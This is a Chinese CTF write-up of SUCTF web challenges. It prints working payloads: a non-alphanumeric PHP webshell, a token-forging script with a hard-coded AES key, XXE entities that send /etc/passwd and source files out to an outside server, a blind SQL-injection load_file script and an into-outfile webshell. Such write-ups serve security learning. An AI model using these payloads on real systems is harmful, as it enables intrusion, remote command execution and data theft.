SUCTF
这周末打了suctf,协会的大佬们都去参加tctf了,
都没人打pwn了,不过最终成绩还可以
不过恭喜协会大佬tctf新人赛第一,出征defcon
没啥会做,只能赛后复现一遍。。
(看了官方的wp发现全是非预期)
Anonymous
这道题一进去就有源码
<?php
$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);
看到了两个不认识的函数
create_function()
openssl_random_pseudo_bytes()
看到了2017年orange出的ctf比赛的文章
看着差不多=。=,然后一直想着绕过那个伪随机数
openssl_random_pseudo_bytes()是存在一个cve的
cve 2016-8867
create_function()这个函数的漏洞,他create之后会自动生成一个函数名为%00lambda_%d
https://lorexxar.cn/2017/11/10/hitcon2017-writeup/
这里看了土土的博客2017年的hitcon的比赛
了解到:
当我们能够获取一个反序列化的admin对象之后,我们遇到了新的问题。
获取flag的函数是通过create_function
,并没有设置函数名字,但其实这里声明的函数是有函数名的,匿名函数会被设置为\x00lambda_%d
,这里的%d是顺序递增的。
我们仍然可以从php的源码里找到这个问题
do {
ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d", ++EG(lambda_count)) + 1;
} while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);
RETURN_NEW_STR(function_name);
} else {
zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
RETURN_FALSE;
这里的%d会一直递增到最大长度直到结束,这里我们可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了。
import requests
while True:
r=requests.get('http://web.suctf.asuri.org:81/?func_name=%00lambda_1')
print(r.text)
不断跑就好了
Getshell
进去就是一个主页,然后你点击upload就可以
看到在这里可以上传文件会发现有一段代码
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}
传上去了会发现会给你地址,看下url,就明白了是文件包含
然后利用链也有了么就是先上传
然后再用文件包含访问那个一句话就可以getshell了
主要的问题使要把所有的black_char测试出来看看有哪些没有被过滤
我是用bp来测试的
就可以知道了只有上面的那些可以通过黑名单
这个就是一个问题,之前有看过P牛的文章就是不用字母数字的一句话
但是要使用++和^这里被绕过了就要用别的方法了
这时想起离别歌的博客https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html的方法二
echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a
这些只有在php7的环境下才能实现
根据这些来上传一个php文件
<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);
$_POST[a]可以来执行系统命令
就可以了
HateIT
首先扫一下站,会发现一个
robots.txt
admin.php
upload/upload.php
.git/
upload/uploa.php不能直接访问,估计是看cookie的
发现有一个suenc.so
拖入ida查看是怎么加密的,这个交给我们队的bin大佬了
/.git/很坑,用github 的githack只能下载下来一个readme
http://www.bugscan.net/的githack就有四个文件。。。。。惊了
和一个纯是字节码的index.php
前面两个通过.so里面的加密来还原
listA = [0x49,0xfa,0x0,0xfa,0x0,0x23,0xff,0x23,0x8e,0xea,0xfa,0xf3,0xa6,0xf3,0xc6,0x8e]
def decrypt(Str):
fp2 = open('2.php','wb')
purpose = ''
v3 = 0
purpose += (Str[:12])
Str2 = Str[12:]
for i in range(len(Str2)):
if i % 2 == 1:
v3 = (i + listA[v3] + v3) & 0xf
purpose += chr((~(ord(Str2[i])) & 0xff) ^ listA[v3])
else:
purpose += Str2[i]
fp2.write(purpose)
fp = open('admin.php','rb')
a = fp.read()
decrypt(a)
hammer肉眼还原字节码,膜一发
<?php
//!0 = $username, !1 = $md5, !2 = $admin, !3 = $token, !4 = $sign, !5 = $info
if(!isset($_SESSION)) {
}
session_start();
include_once('func.php');
if(isset($_GET['username'])) {
$username = $_GET['username'];
$md5 = md5(get_identify().$username);
$token = encrypt($username,'|',$admin,'|',$md5);
$_SESSION['sign'] = $md5;
$_SESSION['token'] = $token;
}
showImage();
if(isset($_GET['sign'])&&isset($_GET['token']))
{
$sign = $_GET['sign'];
$token = $_GET['token'];
echo 'sign+%3A+'.$sign.'%3Cbr%3E%0A';
echo 'token%3A+'.$token.'%3Cbr%3E%0A';
$info = explode(decrypt($token),'|');
echo decrypt($token);
var_dump($info);
if(count($info) == 3)
{
if(md5(get_identify().$info[0]) == $info[2] && $sign = $info[1])
{
$admin = $info[1];
}
else
{
die();
}
}
else
{
die();
}
}
else if(isset($_SESSION['token'])&&isset($_SESSION['sign']))
{
echo 'sign+%3A+'.$_SESSION['sign'].'%3Cbr%3E%0A';
echo 'token%3A+'.$_SESSION['token'].'%3Cbr%3E%0A';
$token = $_SESSION['token'];
$sign = $_SESSION['token'];
$info = explode(decrypt($token),'|');
if(count($info) == 3)
{
if(md5(get_identify().$info[0]) == $info[2] && $sign = $info[1])
{
$admin = $info[1];
echo '%3Cbr%3E'.$admin;
}
else
{
die();
}
}
else
{
die();
}
}
if(isset($admin))
{
if($admin == 3)
{
$_SESSION['auth'] = 'admin';
echo '%3Ca+href%3D%27admin.php%27%3EAdmin%3C%2Fa%3E';
}
}
关键地方就是要生成一个token解密之后让info[1]=3
之后在赋值给admin,就可以进入到上传文件的地方了
因为有秘钥很简单=。=(这里非预期了,应该是不给秘钥的,原来得用CFB重放攻击)
加密解密的脚本都在func_decode.php
中
写出token的加密脚本
<?php
define("KEY","8690475385984657");
define("method","aes-128-cfb");
define("BS",16);
define("IDENTIFY","9850375038");
function getkey(){
return KEY;
}
function get_identify(){
return IDENTIFY;
}
function get_token(){
$token = '';
for($i=0;$i<16;$i++){
$token .= chr(rand(1,255));
}
return $token;
}
function to($str) {
return $str . str_repeat(chr(BS - strlen($str) % BS), (BS - strlen($str) % BS));
}
function encrypt($str){
$key = getkey();
srand(time() / 300);
$token = get_token();
$cipher = bin2hex(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, to($str), MCRYPT_MODE_CFB, $token));
return base64_encode($cipher);
}
$username = 'qwer';
$md5 = md5(get_identify().$username);
$admin = '3';
$token = encrypt($username . '|' . $admin . '|' . $md5);
echo $token;
echo "\n";
就可以用admin的session进入下一关了
审计admin.php源码
F12跟进viewImage 跟进ImageView
这里可以命令执行
file的地方就可以传进去命令
之后就是寻找flag之旅=。=
SUCTF{KyGfsMbkYqMNATETLTYVfCPncbY6HK8G6PbnByUPU5S5xo4tUMVm}
Homework
拿环境复现了一遍
lightless博客讲了xxe的详解
https://lightless.me/archives/Research-On-XXE.html
进入题目首先先注册然后登陆一下
按一下计算会发现这样好像就是调用了calc函数,里面的三个参数正好是2 a 2
然后就需要寻找一个php的类,然后能在调用类的时候自动传入xml=。=
不过我不懂为什么就可以想到是xxe了
SimpleXMLElement::__construct 创建时自动使用
可以找到一个函数
这道题不是很懂,就按wp来
先创建一个obj.xml外部实体
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://vps/XXE/evil.xml">
%int;
%all;
%send;
]>
evil.xml
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/wwwroot/default/index.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps/XXE/1.php?file=%file;'>">
1.php
$content=$_GET['file'];
file_put_contents("content.txt",$content);
构造payload
http://www.ckj123.com:9999/show.php?module=SimpleXMLElement&args[]=http://www.ckj123.com/XXE/obj.xml&args[]=2&args[]=true
不知道为什么一直500(500也没事=。=可以打过去)
200了
但是没有任何回显(不知道为什么)
向辉神要了一个payload
- payload
module=SimpleXMLElement&args[]=<%3Fxml+version%3D"1.0"+%3F>%0A<%21DOCTYPE+r+%5B%0A<%21ELEMENT+r+ANY+>%0A<%21ENTITY+%25+sp+SYSTEM+"http%3A%2F%2Fwww.ckj123.com%2FXXE/test.xml">%0A%25sp%3B%0A%25param1%3B%0A%5D>%0A<r>%26exfil%3B<%2Fr>%0A&args[]=2
payload中的xml
<?xml version="1.0"+?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM"http://www.ckj123.com/XXE/test.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
- 远程服务器上的xml文件
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://www.ckj123.com:8888/?%data;'>">
终于有回显了!!!!接下来就可以做代码审计了!!
请教了一下辉神,辉神神说可以用相对路径去读取,只要和show.php同一级
推荐我去看一下libxml的源码(挖个坑)
然后读取到了show.php的源码
<?php
include("function.php");
include("config.php");
include("calc.php");
if(isset($_GET['action'])&&$_GET['action']=="view"){
if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden.");
if(!empty($_GET['filename'])){
$file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
$file_name=$file_info['0']['2'];
echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
$new_sig=mt_rand();
sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);
die("<br>new sig:".$new_sig);
}else{
die("Null filename");
}
}
$username=w_addslashes($_COOKIE['user']);
$check_code=$_COOKIE['cookie-check'];
$check_sql="select password from user where username='".$username."'";
$check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
if($check_sum!==$check_code){
header("Location: login.php");
}
$module=$_GET['module'];
$args=$_GET['args'];
do_api($module,$args);
?>
看到了一个config
function.php
<?php
function sql_result($sql,$mysql){
if($result=mysqli_query($mysql,$sql)){
$result_array=mysqli_fetch_all($result);
return $result_array;
}else{
echo mysqli_error($mysql);
return "Failed";
}
}
function upload_file($mysql){
if($_FILES){
if($_FILES['file']['size']>2*1024*1024){
die("File is larger than 2M, forbidden upload");
}
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
$filehash=md5(mt_rand());
if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") die("Upload failed");
$new_filename="./upload/".$filehash.".txt";
move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
}else{
$hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
$new_filename="./upload/".$hash[0][0].".txt";
move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
}
}else{
die("Not upload file");
}
}
}
function w_addslashes($string){
return addslashes(trim($string));
}
function do_api($module,$args){
$class = new ReflectionClass($module);
$a=$class->newInstanceArgs($args);
}
?>
index.php没啥用
这里好像有两次转义.我错了是二次注入 拿出来的时候没有过滤了可以用16进制
但是本地测试的时候
尴尬
multisql
题目是用的公开CMS
https://github.com/Eworld97/php_audit/tree/master/VAuditDemo
首先注册一下,看一下用户信息有个id,会发现有一个id
http://web.suctf.asuri.org:85/user/user.php?id=22908
试一下^发现有数字型注入点
上传一个images,发现
文件名规则为 md5(user_name).jpg
会发现有文件读写权限
目录限制/var/www/
用mysql的file_load语句读取文件
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
s = requests.session()
filename = "0x"+"/var/www/html/bwvs_config/waf.php".encode('hex')
print filename
content = "".encode("hex")
for i in range(0,99999):
for i in range(33,128):
url = "http://web.suctf.asuri.org:85/user/user.php?id=if(hex(mid(load_file("+filename+"),1,9999))>0x"+ content + chr(i).encode('hex') +",3,1)"
cookies = {"PHPSESSID":"lhctsn1getr97rpf54cp6bp6q0"}
r = s.post(url = url ,cookies = cookies)
if "user_id:1" in r.text:
print "no"
content = content + chr(i-1).encode('hex')
print content.decode("hex")
break
else:
continue**
function waf($str){
$black_str = "/(and|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i";
$str = preg_replace($black_str, "@@",$str);
return addslashes($str);
}
先注册一个<?=$_POST[c]
;?>
再注册
<?=$_POST[c]
;?>'into outfile'/var/www/html/favicon/c1.php
退出后登录,生成shell
就可以任意命令执行了(本地复现一直不行)不知道为什么
网友评论